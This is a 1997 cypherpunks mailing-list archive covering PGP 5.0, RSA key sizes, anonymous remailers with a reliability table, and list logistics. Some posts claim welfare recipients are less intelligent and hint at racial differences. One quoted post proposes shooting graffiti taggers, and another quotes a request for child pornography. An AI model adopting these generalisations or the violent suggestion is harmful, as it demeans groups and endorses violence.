Bill Frantz <frantz@netcom.com> writes:
> At 2:43 AM -0700 8/23/97, Adam Back wrote:
> >The real problem is that the pervasive bleeding heart
> >socialist/communist welfare system mentality will ensure that you'll
> >never manage it.
> >
> >"The children" is a war cry which will ensure the continuance of state
> >funded negative evolutionary pressures.
> 
> Don't always assume that these are negative evolutionary pressures.  One of
> the hallmarks of Homo's evolutionary survival has been the ability to live
> in many niches.  Welfare is one niche, and no one should be surprised when
> organisms decide to live in an available niche.

Welfare does indeed seem to be a thriving niche.

> The question is, what happens when that niche goes away?

We get to see how well the welfare recipient adapts.  Guess we get
some real life evolutionary pressures :-)

However, I think that western countries are rich enough that there's
not really much danger of anyone starving to death.  Most of the
welfare recipients could find sufficient employment to feed themselves
if they had no other choice.

> For example, I have one friend who raised her two children (spaced
> 12 years apart) on welfare.  They are now grown and she has a job as
> a Unix sysadmin.  She obviously has the ability to move from niche
> to niche.  (And doesn't subscribe to the Protestant work ethic.)

Yeah, I'm not trying to be insensitive.  I know how to work systems
just as well as any other.  Clearly plenty of intelligent people can
make a decision to work the welfare system to their financial
advantage.

My claim was that the average welfare recipient is less intelligent
than the average non-welfare recipient.  There will be plenty of
counter examples, lazy people, people who have more interesting things
to do than work, and are happy enough with the adequate lifestyle
welfare brings.

It does seem unfair however for those who could easily obtain work to
live from the indirectly stolen assetts of those who are working for a
living.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Mon, 25 Aug 1997 08:12:25 +0800
To: cypherpunks@Algebra.COM
Subject: Why Not to use PGP 5.0
Message-ID: <199708250009.UAA02186@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text



http://www.shub-internet.org/why_not_pgp_5.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Mon, 25 Aug 1997 08:29:55 +0800
To: cypherpunks@toad.com
Subject: Re: PGP5i supports RSA keys?
In-Reply-To: <19970817123643.13713.qmail@hotmail.com>
Message-ID: <FztyfVnGWfSUPrs9LWpfwg==@JawJaCrakR>
MIME-Version: 1.0
Content-Type: text/plain



Bill Stewart <stewarts@ix.netcom.com> writes:

> ...
> but there's also really no need for keys longer than 2048 bits unless
> some radical algorithmic breakthrough happens.  (Computer hardware 
> breakthroughs aren't relevant; the exponential behaviour of the
> algorithms mean that a few extra bits makes any device that fits
> on the planet still too small.)  1024 bits is probably enough,
> but maybe not, depending on how long you need to keep something secret
> and how much technology improves doing your lifetime.  

Sorry, but computer hardware performance is increasing exponentially,
but the difficulty of factoring is subexponential in the length of the
number.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Mon, 25 Aug 1997 08:30:19 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Why Not to use PGP 5.0
In-Reply-To: <199708250009.UAA02186@yakko.cs.wmich.edu>
Message-ID: <19970824203231.19309@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text/plain



An entity calling itself William H. Geiger III allegedly wrote:
> >http://www.shub-internet.org/why_not_pgp_5.html
> 
> Well I went to this web page and once again nothing but FUD.
>
> Oh well better luck next time frogfarm,

I think the best luck I could have would be if some kind soul were to
explain in a little detail why the claims on the above page are FUD, for
those of us not as technically advanced as the hardcoders.

I don't write 'em; I just forwards 'em...

--
Write your representatives and complain. Demand that they institute the death
penalty for all crimes, including jaywalking, tearing the tags off mattresses
and "thinking about possibly contemplating an action which may be considered a
crime at some point in the future."  ['TruthMonger', on the cypherpunks list] 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alex Le Heux <alexlh@xs4all.nl>
Date: Mon, 25 Aug 1997 02:54:26 +0800
To: cypherpunks@toad.com
Subject: Re: Shooting the taggers
Message-ID: <3.0.3.32.19970824204659.007f93f0@mail.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On 22 Aug 1997 23:48:57 +0200, in list.cypherpunks you wrote:

[...]

>Here in Santa Cruz, graffiti spray-painted on the walls of businesses
is a
>big, and growing, problem. And laws require the businesses to paint
over
>the grafitti, or otherwise render it invisible, in a quick and timely
>manner. (The idea is that the grafitti is offensive to the
sensibilities of
>others, or somesuch, and that it encourages rival gangs to counter
with
>their own grafitti.)
>
>And yet can J. Random Businessman defend his property against this
>defacing? Nope. The cops say "Let us handle crimes." But they don't.
>
>There's a solution for taggers: snipers.
[...]

Grafitti is criminal (although many of us probably do things that are
'criminal' under some silly law or other), it is definately very
annoying and I wouldn't like someone spraying it on my front door, but
shooting people for it is a bit over the top I think.

Grafitti (as in writing your name on or in something that you don't
own) has existed for ages. Only since the invention of spraypaint has
it become a big problem. Technology can also provide a solution.
Surfaces can be treated so that grafitti can easily be removed. All
this of course costs money, but that is, imho, the price of being part
of a pile of millions of people, ie. a city.

Another solution, which works very well for shopfronts over here, is
to actually contract and pay a grafitti gang to spray the shops logo
or whatever on the front (or steel blinds).

Shooting people for this will probably only make them shoot back,
which will ony result in overworked morgue employees and/or high
hospital bills.

Alex

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNABxOtuYAh4dUSo/EQJk2ACbBvQib5rPa4x2wykBPZbzS/8D2ZUAoMHX
CBChEIemL4afO5M4hL7B8oJX
=8989
-----END PGP SIGNATURE-----








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Mon, 25 Aug 1997 12:57:08 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: lack of evolutionary pressures
In-Reply-To: <v03102800b024c40254a7@[207.167.93.63]>
Message-ID: <v03007820b026b642dd54@[207.94.249.75]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:47 AM -0700 8/24/97, Adam Back wrote:
>There seems to be an observable difference in business acumen between
>races .. of course this could easily be explained by their society and
>customs.

Francis Fukuyama, in his book "Trust" argues that culture is the
determining factor here.  I highly recommend the book.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Mon, 25 Aug 1997 10:38:39 +0800
To: tcmay@got.net (Tim May)
Subject: Re: Prior Restraint on Publishers
In-Reply-To: <v03102803b02698537aaf@[207.167.93.63]>
Message-ID: <199708250221.WAA14300@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain



Thanks.  :)

Adam



The Ministry of Truth's archives tell us that Winston Smith wrote:

| I used to think things like this would be quickly declared
| unconstitutional, but not any longer. The New Order is making things like
| this all too predictable. I just hope Adam Shostack does not get in even
| more trouble for speaking out.
| 
| --Winston Smith


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Mon, 25 Aug 1997 10:46:13 +0800
To: Mike <Michael.Johnson@mejl.com>
Subject: Re: Spam-killing PGP5/ecash postage plugin Was Re: Remailer    chaining  plugin for Eudora
In-Reply-To: <3.0.3.32.19970822090126.009e1390@localhost>
Message-ID: <Pine.GSO.3.95.970824222027.4298C-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



(I'm stopping in during my vacation...)

On Fri, 22 Aug 1997, Mike wrote:
> If it's $.02 to send a mail to 10000 cypherpunks, then spammers won't
> hesitate to send it. If it's $.02 * 10000 ($200) then only rich people
> (like tcmay) will post here. The only solution I see is moderation and
> censorship, and that can be (and has been) done without e-postage.
> 
> Exactly how do you think that e-postage would decrease spam on mailing
> lists?

That is a simplistic and ineffective way to implement an e-postage fix. A
better way would be to try a deposit, or a third-party rating system for
post quality, or a list of domains that are likely to be free from
spammers, or so on. These have been discussed here before. I even wrote
about them a year ago in Internet World. 

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Mon, 25 Aug 1997 10:55:16 +0800
To: cypherpunks@toad.com
Subject: Re: gephardt slams crypto regs
Message-ID: <3/6uKvQmj1IHrAUj6lvOGQ==@JawJaCrakR>
MIME-Version: 1.0
Content-Type: text/plain



Vladimir Z. Nuri wrote:

> Encryption is vital to the Net
>  BY RICHARD A. GEPHARDT
>  Fearing the availability of
> encryption abroad could make it more  difficult for the U.S.
> government to intercept the communications of criminals and
> gather intelligence, the current and past Administrations have chosen
> to maintain  strict export controls on encryption.

  The above only makes sense in the case of the U.S. government
intercepting the communications of overseas criminals and in
gathering foreign intelligence.
  If encryption is indeed "munitions," then we are effectively
scaling back our contribution to the "arms race" without getting
a corresponding scaling back from "the enemy," who is proceeding
forward in the crypto arms race at a full pace.

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 25 Aug 1997 11:23:16 +0800
To: Cypherpunks@toad.com
Subject: Re: MACKERALS / Re: MIRICLES EVERYWHERE!!!
In-Reply-To: <K7h4vAg5OeQPXhGYtuHIIA==@bureau42.ml.org>
Message-ID: <v03110730b0269f0506b2@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:14 pm -0400 on 8/24/97, MackeralMonger wrote:


>   Hettinga, once a respected member of the financial crypto community,

Since he works in neither finance, or crypto, *that's* a laugh...

> has been turned
> into pathetic figure by Platypus-Downey Syndrome, which has aggragated

Aggragated? oh, right. Agraphia.

> the Money Fever
> that he had been successful in controlling up to this point. Now he has
> been reduced
> to spamming the Internet with MLM Prayer-List chain mail, in a desperate
> attempt to
> "Make Money La$t" at a dollar-a-pop.
>   Once a secular figure known as the Father of eCa$h, Hettinga is now a
> quasi-religious
> Cyhperpunk Cult of One leader known as the Dollar Llama.

Oh, well. Just as long as you heap me with money instead of scrod, er,
scorn, and make the wolves go away from my door, what you say about me in
print doesn't bother me as long as you spell my name right -- and you
attribute my quotes, of course. :-).

Cheers,
The arrogant wit bender

(How's *that* for agraphia. Unscramble the anagram, and, for extra bonus
points, get my True (middle) Name.)

;-).

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jf_avon@citenet.net
Date: Mon, 25 Aug 1997 11:00:00 +0800
To: cypherpunks@toad.com
Subject: Killfile [WAS:Re: Socio-Economic Cults]
In-Reply-To: <3.0.3.32.19970821112449.00973890@pop3.concentric.net>
Message-ID: <199708250247.WAA20350@cti06.citenet.net>
MIME-Version: 1.0
Content-Type: text/plain



On 22 Aug 97 at 4:34, ? the Platypus {aka David For wrote:

> The way I see it is quite simple,  if these peaple where not payed off it
> is most likely that thay will turn to crime.  Other then condemming every
> single impovished person to death, this is one of the better soultions to
> a difficalt problem.

I lately decided, since there is so many interesting things to do in 
life and also, since minutes are in such a short supply, to make my 
killfile look prosperous.

Ciao

jfa





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Mon, 25 Aug 1997 12:30:54 +0800
To: cypherpunks@toad.com
Subject: List Subscriptions / Re: Prior Restraint on Publishers
Message-ID: <gdaDeSD6THJLM4Q9DwKHiQ==@JawJaCrakR>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> By the way, which list address are you now subscribed to...I switched from
> algebra. com to cyberpass.net, but now expect to see 2-3 hours delay before
> posts appear.
> 
> (This applies to others, too. I'm getting replies to my posts, when sent
> directly to me, literally hours before seeing it on the list. Someone
> mentioned subscribing to toad.com, which, to tell the truth, I thought had
> vanished as a list origination site months ago.)

If you subscribe to cypherpunks-unedited@toad.com you will get almost
immediate receipt of toad.com posts much of the day. Algebra.com is
generally only a short time lag behind, although this varies (and you
get duplicates of the toad.com posts).
The advantage of toad.com is that it gives you feedback as to the
time-lag of the distributed lists. The advantages of the distributed
lists is that you can change among them if one is temporarily having
problems.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <remailer@bureau42.ml.org>
Date: Mon, 25 Aug 1997 09:27:04 +0800
To: cypherpunks@toad.com
Subject: MACKERALS / Re: MIRICLES EVERYWHERE!!!
Message-ID: <K7h4vAg5OeQPXhGYtuHIIA==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



BBblue@delphi.com wrote:
> 
>  Financial Healings.

  This is actually from list forger, Robert Hettinga, who was trying
to write a post called 'Financial Dealings' when he was seized by a
fit of Platypus-Downey Syndrome.
  Originally a government-generated hereditary Trojan virus developed
by allegedly reptilian Nazis, agraphia was introduced to the cypherpunks
mailing list, becoming commonly known as Platyagraphia, as it spread
quickly throughout the list.
  By a curious penalty-stroke of fate, the Christian hordes descending
on the list as the outbreak of Platyagraphia spread, were inflected,
and the resulting inflection turned them into Christian 'whores,' at
which time Platyagraphia became uncommonly known as Platypus-Downey
Syndrome.

>   Enclose a self stamped and self addressed envelope with one dollar in it to each of the people below.
>  COME ON!   What are you going to loose?   6 WHOLE DOLLARS!  NO WAY CAN YOU POSSIBLY LOSE.

  Hettinga, once a respected member of the financial crypto community,
has been turned
into pathetic figure by Platypus-Downey Syndrome, which has aggragated
the Money Fever
that he had been successful in controlling up to this point. Now he has
been reduced
to spamming the Internet with MLM Prayer-List chain mail, in a desperate
attempt to
"Make Money La$t" at a dollar-a-pop.
  Once a secular figure known as the Father of eCa$h, Hettinga is now a
quasi-religious
Cyhperpunk Cult of One leader known as the Dollar Llama.

>  Remember to have a copy of Your favorite healing prayer to stuff in envlopes as they send you $1.00.
>  If you don't have one you may use mine.

  In his own defence, Hettinga, making a veiled reference to the "lack
of evolutionary
pressures" thread currently raging on the list, said, "I'm providing a
service to
both the Christan community and the financial eugenics movement, by
confiscating
financial munitions from those too stupid to pray without my help, one
dollar at
a time.

MackeralMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 25 Aug 1997 16:22:43 +0800
To: cypherpunks@Algebra.COM
Subject: Re: List Subscriptions / Re: Prior Restraint on Publishers
In-Reply-To: <gdaDeSD6THJLM4Q9DwKHiQ==@JawJaCrakR>
Message-ID: <v03102809b026efbd031f@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:04 PM -0700 8/24/97, Anonymous wrote:
>Tim May wrote:
>> By the way, which list address are you now subscribed to...I switched from
>> algebra. com to cyberpass.net, but now expect to see 2-3 hours delay before
>> posts appear.
>>
>> (This applies to others, too. I'm getting replies to my posts, when sent
>> directly to me, literally hours before seeing it on the list. Someone
>> mentioned subscribing to toad.com, which, to tell the truth, I thought had
>> vanished as a list origination site months ago.)
>
>If you subscribe to cypherpunks-unedited@toad.com you will get almost
>immediate receipt of toad.com posts much of the day. Algebra.com is
>generally only a short time lag behind, although this varies (and you
>get duplicates of the toad.com posts).
>The advantage of toad.com is that it gives you feedback as to the
>time-lag of the distributed lists. The advantages of the distributed
>lists is that you can change among them if one is temporarily having
>problems.

Ah, so when I send my messages to "cypherpunks@algebra.com" they come back
more quickly from toad.com? Somehow I doubt this.

I've been sending nearly all of my posts to either the algebra.com or the
cyberpass.net addresses, and the toad.com address is set to expire, or so
John told us when he gave us a deadline for finding another site. I've
mentioned this a couple of times, and yet some of you seem to think the
toad.com address is the preferred, fastest one.

Would some of the operators of the distributed lists comment on the time
delays, on the topology of the interlinked distributed list, and on what
role, if any, toad.com continues to play in the process? Igor, Lance, Jim,
John?

Posts like this one from Anonymous, while perhaps accurate (or perhaps not,
I really don't know) are not as convincing as words straight from those
involved.

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Feanor <feanor@nym.alias.net>
Date: Mon, 25 Aug 1997 10:32:39 +0800
To: cypherpunks-unedited@toad.com
Subject: Re: Child Porn
Message-ID: <19970825021444.13392.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



On Aug 24, 13:00, XAVIER243@aol.com wrote:
} Subject: Child Porn
> Got any info or sites 4 me???
> 
}-- End of excerpt from XAVIER243@aol.com

Shouldn't his user-id be '4thHorseman@aol.com'? :-)

BTW, does anyone have a good writeup on the 4 horsemen of the infocalypse
concept?




s





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: OrangeJoe@aol.com
Date: Mon, 25 Aug 1997 16:29:07 +0800
To: cypherpunks@toad.com
Subject: Informative web sites?
Message-ID: <970825033039_656175381@emout12.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain



Do U have any good web sites that can give me information about people and
companies that they would NOT like us to get?  I do  Private investigations.
 I can get most anything I need, but it cost too much money.  I know that
there are sites that I should be able to get to that I can get information
for free and direct from the government.

Thanks

Joe
OrangeJoe@aol.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 25 Aug 1997 10:21:00 +0800
To: cypherpunks@toad.com
Subject: Glut of Doctors? (Oh Horror, Oh Horror!) / Re: index.html
Message-ID: <199708250158.DAA05186@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate wrote:
>    CNN
>               REPORT: U.S. TO PAY HOSPITALS NOT TO TRAIN DOCTORS
>       Doctor graphic August 24, 1997

>      WASHINGTON (CNN) -- In an effort to reduce a glut of physicians in
>      the United States, the federal government will pay training
>      hospitals hundreds of millions of dollars not to train doctors, The
>      Washington Post reported Sunday.

  Thus protecting the citizens from the horrible spectre of reasonably
priced health care. Sick people around the nation must be applauding 
this government effort.
 
>      Medicare underwrites residency training programs heavily. Taxpayers
>      spend $7 billion a year on the training, with each resident
>      translating into an average subsidy of $100,000 a year.

  I don't suppose that simply "dropping" the subsidy would have the
same result of reducing the number of doctors, would it?
  (Hello! Is anybody home...?)

>      The payments are the government's first effort to constrict the
>      pipeline of people entering the medical profession, and one of the
>      few times the federal government has used subsidies as leverage to
>      shrink a particular work force.

  At the same time that the baby boom is turning into a geriatric boom
which will increase the need for physicians.
  Sounds like the makings a future "HEALTH CARE CRISIS!!!!" which the
government will have to address with new laws and a dramatic increase
in government funding for subsidized residency training.

  Thank God that the government has had the foresight to increasingly
arm a variety of government agencies so that they can step in to halt
the old, sick sheeple from rushing the medical centers.

>      But the agreement drew fire from teaching hospitals in other areas
>      of the country who were cutting their residency rolls voluntarily
>      and absorbing the cost of the lost subsidies without federal
>      assistance.

  Oh, you mean like is regularly done in the "real" world? Is it "legal"
to do that without government assistance?
 
>      Others wondered whether it was necessary. The number of doctors
>      training to become specialists in some fields has declined
>      dramatically despite the subsidy program, the Post article said, due
>      to well-publicized warnings that jobs for specialists were only
>      available in less populated areas.

  Oh Horror, Oh Horror!
  Reasonably priced health care, and physicians forced to endure the
indignity of providing medical services to people in areas free of
big-city smog.
  Better to heavily arm the big-city government agents to thwart the
threat of all of those country bumpkins getting past the road-block
identity checks and attempting to access the dwindling number of
big-city physicians.

  Jim, did you make this post up? Are you a forger/spoofer? This post
is so typical of government insanity that it seems like a National
Lampoon parody.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Feanor <feanor@nym.alias.net>
Date: Mon, 25 Aug 1997 12:56:01 +0800
To: cypherpunks-unedited@toad.com
Subject: Re: PGP5i supports RSA keys?
Message-ID: <19970825043336.28527.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



On Aug 24, 21:25, Anonymous wrote:
} Subject: Re: PGP5i supports RSA keys?
> Bill Stewart <stewarts@ix.netcom.com> writes:
> 
> > ...
> > but there's also really no need for keys longer than 2048 bits unless
> > some radical algorithmic breakthrough happens.  (Computer hardware 
> > breakthroughs aren't relevant; the exponential behaviour of the
> > algorithms mean that a few extra bits makes any device that fits
> > on the planet still too small.)  1024 bits is probably enough,
> > but maybe not, depending on how long you need to keep something secret
> > and how much technology improves doing your lifetime.  
> 
> Sorry, but computer hardware performance is increasing exponentially,
> but the difficulty of factoring is subexponential in the length of the
> number.

TWAK!

Barring a _severe_ breakthrough in the entire nature of computing, you still
need at least 1 atom to store one bit of information.  It would take more
computing power than all the atoms in the world, with the ability to store 1 bit
on a atom and other dazzling feats of miniaturization, to crack a 2048 bit key
barring algorithmic breakthrough.

I'm sorry, but barring the severe breakthrough mentioned, Moore's Law will break
when we are storing single atoms as bits.  Or perhaps single electrons (spin,
but how the hell do you hold them in place for reading??), but the point still
stands.  Quantum computing might fill the void, but then, quantum computing
might make all Crypto thus far irrelevant anyways.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Mon, 25 Aug 1997 20:25:14 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199708251151.EAA11621@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



The optional penis smiled as the blue arc-phase
crossed the scamper gap.  There were many of us 
who felt gloved by the discharge, as if irradiated
with baby milk powder.

Later, the arc-monster cried quietly in the 
humming chair, whilst remaining still enough 
for the scamper gloves to plunge authoritatively.


- A'Tak A'Tdorn





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 25 Aug 1997 12:40:45 +0800
To: cypherpunks@toad.com
Subject: Are we 'Safe' yet?
Message-ID: <199708250426.GAA20771@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



  Why does it always seem that when my supply of Prozac is dangerously
low, the people on the cypherpunks list who pay attention to what is
happening in the outside world decide to deluge the list with a variety
of posts reminding me how many reasons I have to be depressed about the
creeping tyranny and corresponding usurpment of human rights that is
threatening my right to the pursuit of drug-induced happiness?
  Even more depressing is the realization that I am a cloistered type
of individual who has little contact with the outside world, and that
this probably indicates that I am only seeing the tip of the iceberg
in terms of the atrocities being commited in the name of government.

  Aren't we safe, yet?
  With the thousands of laws that have been generated for our protection
over the last few years, shouldn't we be *more* safe now, rather than
*less* safe?
  Since our safety seems to depend on the erosion of our Constitutional
rights, could the problem be that our rights aren't being eroded *fast*
enough? Should we be pressing the government for immediate suspension
of *all* of our Constitutional rights, so that we can achieve total
safety *immediately*?
  Or should I go hide out at my family's cabin at Ruby Ridge until the
government has finally made the rest of the world safe for me?

A CypherPunk Enquirer subscriber
Oppressed Minds Want To Know





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 25 Aug 1997 22:21:35 +0800
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199708251350.GAA29444@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord ?";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"cracker"} = "<remailer@anon.efga.org> cpunk mix remix pgp hash ksub esub latent cut ek reord post";
$remailer{'redneck'} = '<config@anon.efga.org> newnym pgp';
$remailer{"bureau42"} = "<remailer@bureau42.ml.org> cpunk mix pgp ksub hash latent cut ek";
$remailer{"neva"} = "<remailer@neva.org> cpunk pgp pgponly hash cut ksub ?";
$remailer{"lcs"} = "<mix@anon.lcs.mit.edu> mix";
$remailer{"medusa"} = "<medusa@weasel.owl.de> mix middle"
$remailer{"McCain"} = "<mccain@notatla.demon.co.uk> mix middle";
$remailer{"valdeez"} = "<valdeez@juno.com> cpunk pgp pgponly hash ek";
$remailer{"arrid"} = "<arrid@juno.com> cpunk pgp pgponly hash ek";
$remailer{"hera"} = "<goddesshera@juno.com> cpunk pgp pgponly hash ek";
$remailer{"htuttle"} = "<h_tuttle@rigel.cyberpass.net> cpunk pgp hash latent cut post ek";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix reno winsock)
(weasel squirrel medusa)
(cracker redneck)
(nym lcs)
(valdeez arrid hera)

The remailer list here has been out of date for some time, but should
be up to date now. I'm still working on updating the web page.

Last update: Mon 25 Aug 97 6:48:42 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
redneck  config@anon.efga.org             *#+**###*#+#     1:42  99.99%
nym      config@nym.alias.net             +++###*+#+##     4:24  99.99%
cracker  remailer@anon.efga.org           +++++-++++++    20:07  99.97%
weasel   config@weasel.owl.de             +--+--+--+++  1:52:17  99.96%
arrid    arrid@juno.com                   +-++-++----   2:57:11  99.90%
hera     goddesshera@juno.com             ----------.-  8:59:19  99.89%
winsock  winsock@rigel.cyberpass.net      --+-------+   4:22:37  99.83%
bureau42 remailer@bureau42.ml.org         -----------+  2:38:44  99.75%
cyber    alias@alias.cyberpass.net        ++**+**+**++    14:02  99.74%
mix      mixmaster@remail.obscura.com     ++*++**++++     20:35  99.67%
replay   remailer@replay.com              + *** * +***     6:51  99.18%
valdeez  valdeez@juno.com                 +----------   9:25:25  99.06%
squirrel mix@squirrel.owl.de              -----------   3:45:55  98.53%
jam      remailer@cypherpunks.ca          ---** *+++++    52:44  97.92%
neva     remailer@neva.org                ---****** +#    28:32  97.63%
reno     middleman@cyberpass.net           ++--+ + +-     46:04  94.86%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <remailer@bureau42.ml.org>
Date: Mon, 25 Aug 1997 15:47:05 +0800
To: cypherpunks@toad.com
Subject: Re: Top 10 Ways to Make a Grouchy Old CypherPunk Smile - #9
Message-ID: <mxvZhonNLQXN+f2K1vxqQQ==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



